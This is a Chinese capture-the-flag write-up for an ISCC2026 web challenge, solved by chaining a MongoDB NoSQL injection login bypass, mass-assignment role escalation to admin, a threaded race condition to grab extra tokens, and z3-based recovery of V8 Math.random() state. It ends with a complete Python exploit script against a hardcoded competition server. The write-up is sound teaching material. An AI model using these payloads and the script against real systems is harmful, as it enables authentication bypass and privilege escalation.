WEB-八卦星图馆

ISCC2026 WriteUp 提交模板

WEB-八卦星图馆

解题思路

这题的利用链是四步串联:

乾 -> 兑 -> 离 -> 震

核心点分别是:

  1. 乾:MongoDB / NoSQL 注入登录
  2. 兑:/dui/update 的 mass assignment
  3. 离:/li/grab 的竞态条件抢令牌
  4. 震:根据历史签号恢复 Math.random() 的内部状态并预测当前期号

使用雪瞳插件扫描了一下:

image.png

存在这些接口,其次访问除了/qian挂之外的接口提示

image.png

打开 /qian 后,页面自己给了两条非常关键的提示:

image.png

前端虽然是表单,但 JS 里实际发的是 JSON 到 POST /qian/login 门册存的是 MongoDB,而且页面直接提示了 {"\(ne": null}`、`{"\)regex": "^a"}` 这类“JSON 小机关”

同时页面还说:

  • 前门只允许见习进入
  • 指定用户名是 qingyun

定用户名后对密码字段做 NoSQL 注入即可。

请求:

POST /qian/login
Content-Type: application/json

{
  "username": "qingyun",
  "password": {
    "$regex": ".*"
  }
}

可用payload

{
  "username": "qingyun",
  "password": {
    "$regex": ".*"
  }
}
{
  "message": "欢迎,见习道童",
  "username": "qingyun_b4f5918e7ec2406c",
  "role": "apprentice",
  "title": "见习道童",
  "hint": "下一步:兑卦 /dui 自修门规"
}

这里可以看到服务端会基于模板用户创建一个新的 qingyun_xxx 会话用户,所以后面如果抢牌

登录后访问 /dui,页面提示也非常直白:

  • 更新接口是 POST /dui/update
  • 只吃 JSON
  • 表单上只有 title 和 bio
  • 但“JSON 可不止这俩字段”,而且“好像没有做白名单”

此这里是标准的 mass assignment,直接把 role 带进去即可。

先改成长老以进入下一步:

POST /dui/update
Content-Type: application/json

{
  "role": "elder"
}
{
  "message": "门规已修订",
  "user": {
    "_id": "6a0afd5d2d5817a2c8e0fed9",
    "username": "qingyun_6e9cd97153b5bee2",
    "role": "elder",
    "title": "见习道童",
    "bio": "新入门不久,正在学习基础占卜术。师父说我的密语遗失多年,至今想不起来。"
  }
}
{
  "role": "admin"
}

离卦

/li 页面提示同样把漏洞类型写出来了:

  • 每人限 1 张
  • 代码流程是“先读 -> 判断 -> 延迟 -> 再写”
  • 提示可以“同时发出多个请求”

这就是典型竞态条件。

单次成功响应会返回:

{
  "message": "头香已抢!司命令牌已发放",
  "token": "18cee584be1b6b5cf9ec72c9",
  "hint": "收集 3 张令牌,去震卦 /zhen 占卜天机"
}

也就是说目标很明确:对同一个 session 并发打 /li/grab,让多个请求在“已领取数量仍为 0”时同时通过判断,从而一次抢到多张 token。

拿到 3 张即可进入下一关。

震卦

/zhen 页面直接泄露了几个核心事实:

  • 每 30 秒开一轮
  • 当前期号会显示在页面里
  • 历史签号会直接给出
  • 签号生成公式是:

页面里我看到的历史数组是:

const HISTORY = [
  {"round":82,"number":67422,"ts":1779105034284},
  {"round":81,"number":282035,"ts":1779105004115},
  {"round":80,"number":95073,"ts":1779104972889},
  {"round":79,"number":480465,"ts":1779104942887},
  {"round":78,"number":750678,"ts":1779104911629},
  {"round":77,"number":284437,"ts":1779104881623},
  {"round":76,"number":750068,"ts":1779104851141},
  {"round":75,"number":866420,"ts":1779104820744},
  {"round":74,"number":270336,"ts":1779104783621},
  {"round":73,"number":769792,"ts":1779104752105},
  {"round":72,"number":129796,"ts":1779104722071},
  {"round":71,"number":464022,"ts":1779104692028}
]

这个题有两个关键细节:

  1. 页面给的是 floor(random * 1000000) 的六位整数,不是原始 double
  2. V8 的 Math.random() 有 64 个值的缓存,而且返回顺序和内部生成顺序是反着的

但这里 round 非常关键:

  • 当前是第 83 期
  • 历史是 82 -> 71

也就是说这些历史值都落在同一个 64 大小缓存块内,不会跨块。再加上页面把历史按“最新在前”展示,刚好与内部状态推进顺序对齐,适合直接建模。

内部某一步的 state0 为 64 位整数,则输出满足:

number = floor(((state0 >> 11) / 2^53) * 1000000)

已知一个六位数 number,虽然不能唯一确定 state0 >> 11,但可以把它约束到一个整数区间里。

12 个历史签号叠加起来,已经足够把 128 位的 xorshift128+ 内部状态缩到唯一或极少量候选。

因此这里最稳的做法是:

  1. 用 z3 把每个历史值转成区间约束
  2. 按 xorshift128+ 的状态转移公式把 12 个状态串起来
  3. 先恢复出“round 82 对应的内部状态”
  4. 再逆推一步,得到当前 round 83 的签号

最终向 /zhen/predict 提交:

{
  "round": 83,
  "number": "预测出的当前签号",
  "tokens": [
    "token1",
    "token2",
    "token3"
  ]
}

如果这一步之前只改到了 elder,通常还会被提示“掌门方可入”之类的权限信息;此时再回到 /dui/update 把角色改成 admin,重新提交即可。

得到 flag。

ISCC{bagua_MYQH1826B5gEJLo}

Exp

import http.client
import json
import re
import threading
from z3 import BitVec, LShR, Solver, UGE, ULE, sat

SERVER_HOST = "39.105.213.28"
SERVER_PORT = 14509

U64_MASK = (1 << 64) - 1
DOUBLE_SCALE = 1 << 53
NUMBER_BASE = 1_000_000


def send_http(method, route, payload=None, extra_headers=None):
    client = http.client.HTTPConnection(SERVER_HOST, SERVER_PORT, timeout=15)
    client.request(method, route, body=payload, headers=extra_headers or {})
    response = client.getresponse()

    status_code = response.status
    header_map = dict(response.getheaders())
    text = response.read().decode("utf-8", errors="ignore")

    client.close()
    return status_code, header_map, text


def login_with_nosqli():
    body = json.dumps(
        {
            "username": "qingyun",
            "password": {"$regex": ".*"},
        }
    )

    status_code, headers, text = send_http(
        "POST",
        "/qian/login",
        payload=body,
        extra_headers={"Content-Type": "application/json"},
    )
    assert status_code == 200, text

    session_cookie = headers["set-cookie"].split(";", 1)[0]
    return session_cookie, json.loads(text)


def change_role(session_cookie, new_role):
    status_code, _, text = send_http(
        "POST",
        "/dui/update",
        payload=json.dumps({"role": new_role}),
        extra_headers={
            "Content-Type": "application/json",
            "Cookie": session_cookie,
        },
    )
    assert status_code == 200, text
    return json.loads(text)


def collect_tokens_by_race(session_cookie, worker_count=16):
    collected = []
    guard = threading.Lock()

    def try_grab():
        try:
            status_code, _, text = send_http(
                "POST",
                "/li/grab",
                extra_headers={"Cookie": session_cookie},
            )
            if status_code != 200:
                return

            result = json.loads(text)
            token_value = result.get("token")
            if not token_value:
                return

            with guard:
                collected.append(token_value)
        except Exception:
            pass

    threads = [threading.Thread(target=try_grab) for _ in range(worker_count)]
    for thread in threads:
        thread.start()
    for thread in threads:
        thread.join()

    return list(dict.fromkeys(collected))


def parse_zhen_page(session_cookie):
    status_code, _, page = send_http(
        "GET",
        "/zhen",
        extra_headers={"Cookie": session_cookie},
    )
    assert status_code == 200, page

    round_match = re.search(r'name="round" value="(\d+)"', page)
    history_match = re.search(r"const HISTORY = (\[.*?\]);", page, re.S)
    assert round_match and history_match

    current_round = int(round_match.group(1))
    history_items = json.loads(history_match.group(1))
    return current_round, history_items


def step_xorshift128p(state_a, state_b):
    x = state_a
    y = state_b

    next_a = y
    x = x ^ (x << 23)
    x = x ^ LShR(x, 17)
    x = x ^ y
    x = x ^ LShR(y, 26)
    next_b = x

    return next_a, next_b


def build_output_bounds(observed_number):
    lower = (observed_number * DOUBLE_SCALE + NUMBER_BASE - 1) // NUMBER_BASE
    upper = (((observed_number + 1) * DOUBLE_SCALE + NUMBER_BASE - 1) // NUMBER_BASE) - 1
    return lower, upper


def undo_xor_right(value, shift):
    restored = 0
    for bit_index in range(63, -1, -1):
        bit = (value >> bit_index) & 1
        if bit_index + shift <= 63:
            bit ^= (restored >> (bit_index + shift)) & 1
        restored |= bit << bit_index
    return restored


def undo_xor_left(value, shift):
    restored = 0
    for bit_index in range(64):
        bit = (value >> bit_index) & 1
        if bit_index - shift >= 0:
            bit ^= (restored >> (bit_index - shift)) & 1
        restored |= bit << bit_index
    return restored


def rewind_state(cur_a, cur_b):
    prev_b = cur_a
    tmp = cur_b ^ prev_b ^ (prev_b >> 26)
    tmp = undo_xor_right(tmp, 17)
    prev_a = undo_xor_left(tmp, 23) & U64_MASK
    return prev_a, prev_b


def state_to_ticket_number(state_a):
    mantissa = state_a >> 11
    return (mantissa * NUMBER_BASE) // DOUBLE_SCALE


def recover_prediction(history_items):
    observed_numbers = [entry["number"] for entry in history_items]
    count = len(observed_numbers)

    state_a = [BitVec(f"state_a_{idx}", 64) for idx in range(count)]
    state_b = [BitVec(f"state_b_{idx}", 64) for idx in range(count)]
    solver = Solver()

    for idx, observed in enumerate(observed_numbers):
        lower, upper = build_output_bounds(observed)
        high_bits = LShR(state_a[idx], 11)
        solver.add(UGE(high_bits, lower))
        solver.add(ULE(high_bits, upper))

    for idx in range(count - 1):
        next_a, next_b = step_xorshift128p(state_a[idx], state_b[idx])
        solver.add(state_a[idx + 1] == next_a)
        solver.add(state_b[idx + 1] == next_b)

    assert solver.check() == sat
    model = solver.model()

    latest_a = model[state_a[0]].as_long()
    latest_b = model[state_b[0]].as_long()

    predicted_a, _ = rewind_state(latest_a, latest_b)
    return state_to_ticket_number(predicted_a)


def main():
    session_cookie, _ = login_with_nosqli()
    change_role(session_cookie, "elder")

    token_list = collect_tokens_by_race(session_cookie, worker_count=16)
    if len(token_list) < 3:
        raise RuntimeError(
            f"race failed, only got {len(token_list)} token(s): {token_list}"
        )

    current_round, history_items = parse_zhen_page(session_cookie)
    predicted_number = recover_prediction(history_items)

    change_role(session_cookie, "admin")

    submit_body = json.dumps(
        {
            "round": current_round,
            "number": predicted_number,
            "tokens": token_list[:3],
        }
    )

    status_code, _, response_text = send_http(
        "POST",
        "/zhen/predict",
        payload=submit_body,
        extra_headers={
            "Content-Type": "application/json",
            "Cookie": session_cookie,
        },
    )

    print("round =", current_round)
    print("predicted =", predicted_number)
    print("tokens =", token_list[:3])
    print("status =", status_code)
    print(response_text)


if __name__ == "__main__":
    main()
posted @ 2026-05-19 16:31  MillionMind  阅读(19)  评论(0)    收藏  举报